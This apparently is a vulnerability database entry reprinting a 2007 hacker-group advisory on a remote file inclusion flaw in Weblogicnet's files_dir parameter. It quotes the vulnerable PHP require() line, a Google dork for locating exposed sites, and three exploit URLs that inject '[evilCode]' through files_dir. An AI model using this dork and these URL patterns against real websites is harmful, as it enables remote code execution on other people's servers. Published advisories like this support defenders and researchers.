Weblogicnet (files_dir) Multiple Remote File Inclusion Vulnerabilities

🗓️ 03 Sep 2007 00:00:00Reported by RootType
Weblogicnet (files_dir) Multiple Remote File Inclusion Vulnerabilities. Input passed to "files_dir" is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources

                                                #############################Nyubicrew&nbsp;Community################################
#
#&nbsp;&nbsp;Weblogicnet&nbsp;(files_dir)&nbsp;Remote&nbsp;File&nbsp;Inclusion
#
#&nbsp;&nbsp;vendor&nbsp;:&nbsp;http://www.weblogicnet.com/
#&nbsp;&nbsp;source&nbsp;:&nbsp;http://weblogicnet.com/data/weblogicnet.tgz&nbsp;
#
#################################################################################
#
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bug&nbsp;Found&nbsp;By&nbsp;:home_edition2001&nbsp;a.k.a&nbsp;(bius)&nbsp;(31-08-2007)
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;contact:&nbsp;[email protected]
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Website&nbsp;:&nbsp;www.solpotcrew.org/adv/home_edition2001-adv-02.txt
#
################################################################################
#
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Greetz:&nbsp;Nyubi&nbsp;aka&nbsp;solpot&nbsp;,&nbsp;Matdhule&nbsp;,&nbsp;S4M3K&nbsp;,[DEVIL_MAY_CRY]&nbsp;,&nbsp;iFX&nbsp;,&nbsp;Scr3W_W0rM&nbsp;,&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nakkuta&nbsp;,&nbsp;bukan-diriku&nbsp;,&nbsp;POET&nbsp;,&nbsp;Th0nk&nbsp;,&nbsp;mbako_semprul&nbsp;,&nbsp;Fungky&nbsp;,&nbsp;airsoul
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wong_edan&nbsp;,&nbsp;^s0n_g0ku^&nbsp;,&nbsp;aLiiF&nbsp;,&nbsp;sparta-x&nbsp;,&nbsp;dudut&nbsp;,&nbsp;xtremeshell&nbsp;,&nbsp;Bithedz
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;th3sn0wbr4in&nbsp;,&nbsp;ReAksi&nbsp;,&nbsp;X8&nbsp;,&nbsp;junkiest&nbsp;,&nbsp;K1tk4t&nbsp;,&nbsp;masboi&nbsp;,&nbsp;saritem
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x-ace&nbsp;,&nbsp;replacement_killer&nbsp;,&nbsp;LamerCrew&nbsp;,&nbsp;k1n9k0ng&nbsp;,[K]ompoR_Meledu[K]
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and&nbsp;all&nbsp;member&nbsp;#nyubicrew&nbsp;@&nbsp;irc.mildnet.org
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;especially&nbsp;thx&nbsp;to&nbsp;str0ke&nbsp;@&nbsp;milw0rm.com
#
###############################################################################
Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;&quot;files_dir&quot;&nbsp;is&nbsp;not&nbsp;properly&nbsp;verified
before&nbsp;being&nbsp;used&nbsp;to&nbsp;include&nbsp;files.&nbsp;This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;to&nbsp;execute
arbitrary&nbsp;PHP&nbsp;code&nbsp;by&nbsp;including&nbsp;files&nbsp;from&nbsp;local&nbsp;or&nbsp;external&nbsp;resources.

code&nbsp;from&nbsp;:
es_desp.php
es_custom_menu.php
es_offer.php

################################################################################
#&nbsp;Weblogicnet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;http://www.weblogicnet.com/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
################################################################################
#&nbsp;Use&nbsp;of&nbsp;this&nbsp;program&nbsp;constitutes&nbsp;your&nbsp;agreement&nbsp;to&nbsp;the&nbsp;terms&nbsp;contained&nbsp;in&nbsp;the&nbsp;#
#&nbsp;LICENSE&nbsp;file&nbsp;within&nbsp;this&nbsp;distribution.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
################################################################################

&lt;ahref=&quot;
&lt;?php&nbsp;require($files_dir.'/_custom_menu_link.php');&nbsp;?&gt;&quot;&gt;
&lt;?php&nbsp;require($files_dir.'/_custom_menu_name.php');&nbsp;?&gt;&lt;/a&gt;&lt;br&gt;

google&nbsp;dork&nbsp;:&nbsp;inurl:es_offer.php?files_dir=

exploit&nbsp;:&nbsp;http://somehost/path_to_Weblogicnet/es_desp.php?files_dir=[evilCode]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://somehost/path_to_Weblogicnet/es_custom_menu.php?files_dir=[evilCode]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://somehost/path_to_Weblogicnet/es_offer.php?files_dir=[evilCode]

######################MY&nbsp;Special&nbsp;Girl&nbsp;JUST&nbsp;FOR&nbsp;U&nbsp;Ula#########################
######################################E.O.F##################################
03 Sep 2007 00:00Current
7.1High risk
Vulners AI Score7.1